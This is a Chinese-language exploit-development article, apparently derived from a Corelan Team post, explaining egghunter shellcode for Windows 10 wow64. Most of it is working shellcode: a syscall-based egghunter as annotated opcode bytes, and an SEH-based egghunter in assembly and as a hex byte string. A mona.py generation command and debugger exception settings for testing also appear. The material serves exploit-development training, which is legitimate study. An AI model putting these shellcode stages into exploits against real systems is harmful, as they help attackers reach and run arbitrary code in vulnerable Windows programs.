Windows 10 Egghunter (wow64) 技术解析
引言
我必须承认,我一直对egghunter技术很感兴趣。这并不意味着我喜欢随意使用egghunter,事实上,我认为应该尽量避免使用egghunter,因为它们往往会减慢运行速度。但我一直对在不使进程崩溃的情况下搜索内存的技术很着迷。
Corelan Team回来了,这是我近3年来的第一篇技术文章。最近我离开了日常工作,创立了"Corelan Consulting"公司,专注于漏洞利用开发培训和网络安全咨询。
Windows 10 Egghunter挑战
在构建2019版Corelan Bootcamp并更新Windows 10材料时,我发现Lincoln编写的Windows 7 wow64 egghunter在Windows 10上不再工作。这是因为微软在每个主要Windows版本中都会更改系统调用号。
系统调用及其编号在https://j00ru.vexillium.org/syscalls/nt/64/上有文档记录。
Windows 10 Wow64 Egghunter
Lincoln经过调试后为Windows 10制作了可用的版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"\x33\xD2" # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" # OR DX,0FFF
"\x33\xDB" # XOR EBX,EBX
"\x42" # INC EDX
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x6A\x29" # PUSH 29 (system call 0x29)
"\x58" # POP EAX
"\xB3\xC0" # MOV BL,0C0
"\x64\xFF\x13" # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10" # ADD ESP,0x10
"\x5A" # POP EDX
"\x3C\x05" # CMP AL,5
"\x74\xE3" # JE SHORT
"\xB8\x77\x30\x30\x74" # MOV EAX,74303077
"\x8B\xFA" # MOV EDI,EDX
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDE" # JNZ SHORT
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDB" # JNZ SHORT
"\xFF\xE7" # JMP EDI
|
可以使用mona.py生成此egghunter:!mona egg -wow64 -winver 10
基于异常处理的Egghunter
我在想:是否可以使用不同的技术来使egghunter工作,而不使用系统调用?
异常处理机制
当操作系统看到异常并决定将其传递给进程中的相应线程时,它将指示ntdll.dll中的一个函数在该线程内启动异常处理机制。此例程将检查偏移量0处的TEB(通过FS:[0]访问),并检索堆栈上异常处理链中最顶层记录的地址。
每个记录包含2个字段:
1
2
3
4
|
struct EXCEPTION_REGISTRATION {
EXCEPTION_REGISTRATION *nextrecord; // 指向下一条记录的指针
DWORD handler; // 指向处理程序函数的指针
};
|
SEH Based Egghunter代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
; Universal SEH based egg hunter (x86 and wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d
; 设置SEH记录
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444 ; 替换为P/P/R地址
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESP
JMP nextpage
handle:
SUB ESP,0x14
XOR EBX,EBX
MOV DWORD [FS:EBX],ESP
MOV EDX, [ESP+24]
INC EDX
nextpage:
OR DX, 0x0FFF
INC EDX
MOV [ESP+24], EDX
MOV EAX, 0x74303077
MOV EDI, EDX
SCASD
JNZ nextpage+5
SCASD
JNZ nextpage+5
JMP EDI
|
操作码格式
1
2
3
4
5
6
7
8
9
10
11
12
|
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68")
egghunter += "\x??\x??\x??\x??" # 替换为pop/pop/ret指针
egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7")
|
调试技巧
在调试egghunter时,你会注意到在执行系统调用期间会发生访问违规。这些访问违规可以安全地通过,并由操作系统处理。
在Immunity Debugger中,可以通过以下方式配置异常处理:
- 点击"debugging options",打开"exceptions"选项卡
- 在"Add range"下添加以下十六进制值:
- 0xC0000005 - ACCESS VIOLATION
- 0x80000001 - STATUS_GUARD_PAGE_VIOLATION
调试完成后,不要忘记删除这两个异常。
结论
本文介绍了两种在Windows 10环境下工作的egghunter技术:基于系统调用的传统方法和基于结构化异常处理的新方法。这些技术对于在受限环境中进行漏洞利用开发具有重要意义。